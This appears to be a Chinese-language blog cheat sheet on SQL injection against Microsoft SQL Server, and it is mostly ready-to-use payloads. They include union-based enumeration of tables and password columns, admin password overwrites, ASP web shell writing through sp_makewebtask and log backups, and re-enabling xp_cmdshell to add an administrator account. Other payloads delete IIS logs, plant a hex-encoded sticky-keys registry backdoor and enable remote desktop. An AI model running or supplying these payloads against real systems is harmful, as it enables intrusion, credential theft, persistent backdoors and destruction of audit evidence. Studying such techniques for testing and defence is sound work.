SQL注入- Sqlserver
Sqlserver 介绍
美国Microsoft公司推出的一种关系型数据库系统。SQLServer是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。
其主要特点如下:
(1)高性能设计,可充分利用WindowsNT的优势
(2)系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置。
(3)强壮的事务处理功能,采用各种方法保证数据的完整性。
(4)支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。 SQLServer以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。
常用语句
- 说明:创建数据库
1
CREATE DATABASE database-name
- 说明:删除数据库
1
drop database dbname
- 查询所有:
1
2Select * from 表名
select * from Student
mssql数据库权限
- sa权限:数据库操作,文件管理,命令执行,注册表读取等 system
- db权限:文件管理,数据库操作等 users-adminstrators
- public权限:数据库操作 guest-users
调用数据库代码
1 | <% |
其中,provider后面的不用管,照写;source后面的可以是ip地址,这里我用的是本地的;sa是内置的
用户,它的密码是你在安装的时候设置的;database后面是你要连接的数据库的名称,例:mydatabase
(不需扩展名)。
SqlServer注入利用
漏洞挖掘
- 判断是否有注入 判断注入的方法是一样的
1
2
3
4and 1=1
and 1=2
/
-0 - 初步判断是否是mssql
1
and user>0
- 判断数据库系统
1
2and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access - 注入参数是字符
1
'and [查询条件] and ''='
- 搜索时没过滤参数的
1
'and [查询条件] and '%25'='
- 猜数表名
1
and (select Count(*) from [表名])>0
- 猜字段
1
and (select Count(字段名) from 表名)>0
- 猜字段中记录长度
1
and (select top 1 len(字段名) from 表名)>0
- (1)猜字段的ascii值(access) (2)猜字段的ascii值(mssql)
1
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
1
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
union 联合查询
顺便查下版本和数据库名
1 | union select null,@@version,db_name(),null,null |
如果要查其他数据库的表名还可以这样:
1 | union select null,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),null,null |
union 列表名
- 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
- 第一个表名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
- 第二个表名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
union 列列名
- 继续猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
- 第一个列名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 0 name from syscolumns where id in (select id from sysobjects where name='password'))),null
- 第二个列名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='password'))),null
- 第三个列名
1
http://192.168.0.240:8005/?id=1 union select null,(select top 1 name from syscolumns where id in (select id from sysobjects where name='password') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='password'))),null
列数据
1 | http://192.168.0.240:8005/?id=1 union select null,username,password from password where username not in (select top 0 username from password) |
SqlServer不同权限利用
1 | and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 |
Sa权限的利用
- 注入用户密码
- 修改网站管理员密码
- 直接getshell
- 调用系统命令
创建系统管理员
操控文件
操控日志文件
getshell - 创建sqlserver管理
- 系统服务操作
- 注册表操作
创建后门
开启3389
SQLserver中的存储过程
1 | sp_addlogin 创建新的SQL server登录,该登录运行用户使用SQL server身份验证连接到SQL server实例 |
修改网站管理员密码
1 | ;update admin set pass=‘e8dc763194f29433’ where admin=‘test’ |
将管理员表admin中admin用户的密码设置为e8dc763194f29433
修改之前把原来密码备份
通常在密码解不出的情况下选择使用该方法
直接getshell
修复上传
1 | ;EXEC sp_configure 'show advanced options',1; |
1 | http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27-- |
调用系统命令xp_cmdshell
检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
1 | and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell') |
判断xp_regread扩展存储过程是否存在
1 | and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread') |
恢复
1 | ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |
1 | ;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll' |
Xp_cmdshell执行命令
新建用户
1 | ;exec master..xp_cmdshell 'net user test test /add' |
1 | ;exec master..xp_cmdshell 'net localgroup administrators test /add' |
操控日志
1 | ;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log ' |
Getshell
1 | echo ^<%Execute(request("a"))%^> > d:\www\123.asp |
操作注册表
删除注册表
1 | reg delete HKLM\SOFTWARE\McAfee /f |
导入注册表
1 | Regedit /s d:\web\zh\hp.reg |
导出注册表
1 | regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" |
创建sqlserver管理
- 添加和删除一个SA权限的用户test:(需要SA权限)
1
2exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin系统服务操作
- 停掉或激活某个服务。 (需要SA权限)
1
2exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
注册表操作
启用存储过程
1
exec sp_addextendedproc xp_regread,'xpstar.dll'
1
;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00—
1
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
写入注册表
1
2
3exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_SZ','c:\windows\system32\cmd.exe'
xp_regwrite 根键,子键, 值名, 值类型, 值写入shift后门
1
exec xp_regwrite
1
0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\\windows\\system32\\taskmgr.exe'--
开启3389
1
2
3
4
5
6
7
8;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'
//允许外部连接
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f' //改端口到80
开启3389
;exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--dbowner权限利用
- 判断数据库用户权限
1
and 1=(select is_member('db_owner'));--
- 搜索web目录 然后
1
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹1
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
1
and(select dir from temp where id=1)>0
getshell
- 找到web目录后,就可以写入一句话木马了
1
2
3
4
5
6;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str)values ('<%excute(request("cmd"))%>')--
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVERY simple
SqlServer 工具使用
穿山甲、萝卜头、sqlmap等
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Putdownd’s Blog!